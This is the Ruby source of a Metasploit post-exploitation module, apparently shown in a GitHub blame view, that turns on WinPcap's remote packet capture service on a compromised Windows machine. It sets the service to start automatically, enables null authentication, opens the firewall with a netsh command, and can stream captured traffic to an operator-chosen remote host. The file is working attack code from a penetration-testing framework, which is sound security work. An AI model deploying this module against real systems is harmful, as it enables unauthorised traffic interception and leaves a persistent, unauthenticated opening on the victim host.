metasploit-framework/modules/post/windows/manage/rpcapd_start.rb

104 lines
3.6 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Post
2013-09-05 18:41:25 +00:00
include Msf::Post::File
include Msf::Post::Windows::Registry
2013-12-15 18:43:55 +00:00
include Msf::Post::Windows::Services
2013-09-05 18:41:25 +00:00
include Msf::Post::Windows::Priv
2013-08-30 21:28:54 +00:00
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Manage Remote Packet Capture Service Starter',
'Description' => %q{
This module enables the Remote Packet Capture System (rpcapd service)
included in the default installation of Winpcap. The module allows you to set up
the service in passive or active mode (useful if the client is behind a firewall).
If authentication is enabled you need a local user account to capture traffic.
PORT will be used depending of the mode configured.},
'License' => MSF_LICENSE,
'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
'Platform' => 'win',
2013-08-30 21:28:54 +00:00
'SessionTypes' => [ 'meterpreter' ]
))
2013-08-30 21:28:54 +00:00
register_options(
[
OptBool.new('NULLAUTH', [ true, 'Enable Null Authentication.', true]),
OptBool.new('ACTIVE', [ true, 'Enable rpcapd in active mode (passive by default).', false]),
OptAddress.new('RHOST', [ false, 'Remote host to connect (set in active mode only).']),
OptInt.new('PORT', [ true, 'Local/Remote port to capture traffic.',2002])
], self.class)
end
2013-08-30 21:28:54 +00:00
def run
if is_admin?
serv = service_info("rpcapd")
print_status("Checking if machine #{sysinfo['Computer']} has rpcapd service")
2013-12-15 18:28:29 +00:00
if serv[:display] !~ /remote/i
2013-08-30 21:28:54 +00:00
print_error("This machine doesn't seem to have the rpcapd service")
else
2013-12-15 18:28:29 +00:00
print_status("Rpcap service found: #{serv[:display]}")
2014-01-03 16:25:15 +00:00
start_type = serv[:starttype]
prog = get_env('ProgramFiles') << "\\winpcap\\rpcapd.exe"
2014-01-03 16:25:15 +00:00
if start_type != START_TYPE_AUTO
2013-08-30 21:28:54 +00:00
print_status("Setting rpcapd as 'auto' service")
2014-01-03 16:25:15 +00:00
service_change_startup("rpcapd", START_TYPE_AUTO)
2013-08-30 21:28:54 +00:00
end
if datastore['ACTIVE']
if datastore['RHOST'].nil?
2013-08-30 21:28:54 +00:00
print_error("RHOST is not set ")
return
else
p = prog << " -d -a #{datastore['RHOST']},#{datastore['PORT']} -v "
print_status("Installing rpcap in ACTIVE mode (remote port: #{datastore['PORT']})")
end
else
fw_enable(prog)
print_status("Installing rpcap in PASSIVE mode (local port: #{datastore['PORT']}) ")
p = prog << " -d -p #{datastore['PORT']} "
end
if datastore['NULLAUTH']
2013-08-30 21:28:54 +00:00
p<< "-n"
end
run_rpcapd(p)
end
else
print_error("You don't have enough privileges. Try getsystem.")
end
end
2013-08-30 21:28:54 +00:00
def run_rpcapd(p)
service_name = "rpcapd"
2013-08-30 21:28:54 +00:00
begin
if service_restart(service_name)
print_good("Rpcapd started successfully: #{p}")
else
print_error("There was an error restarting rpcapd.exe.")
2013-08-30 21:28:54 +00:00
end
rescue ::Exception => e
print_error("The following Error was encountered: #{e.class} #{e}")
2013-08-30 21:28:54 +00:00
end
end
2013-08-30 21:28:54 +00:00
def fw_enable(prog)
print_status ("Enabling rpcapd.exe in Windows Firewall")
begin
if file_exist?(prog)
cmd_exec("netsh","firewall add allowedprogram \"#{prog}\" \"Windows Service\" ENABLE ",30)
else
print_error("rpcad.exe doesn't exist in #{prog}. Check the installation of WinPcap")
end
rescue::Exception => e
print_status("The following Error was encountered: #{e.class} #{e}")
end
end
end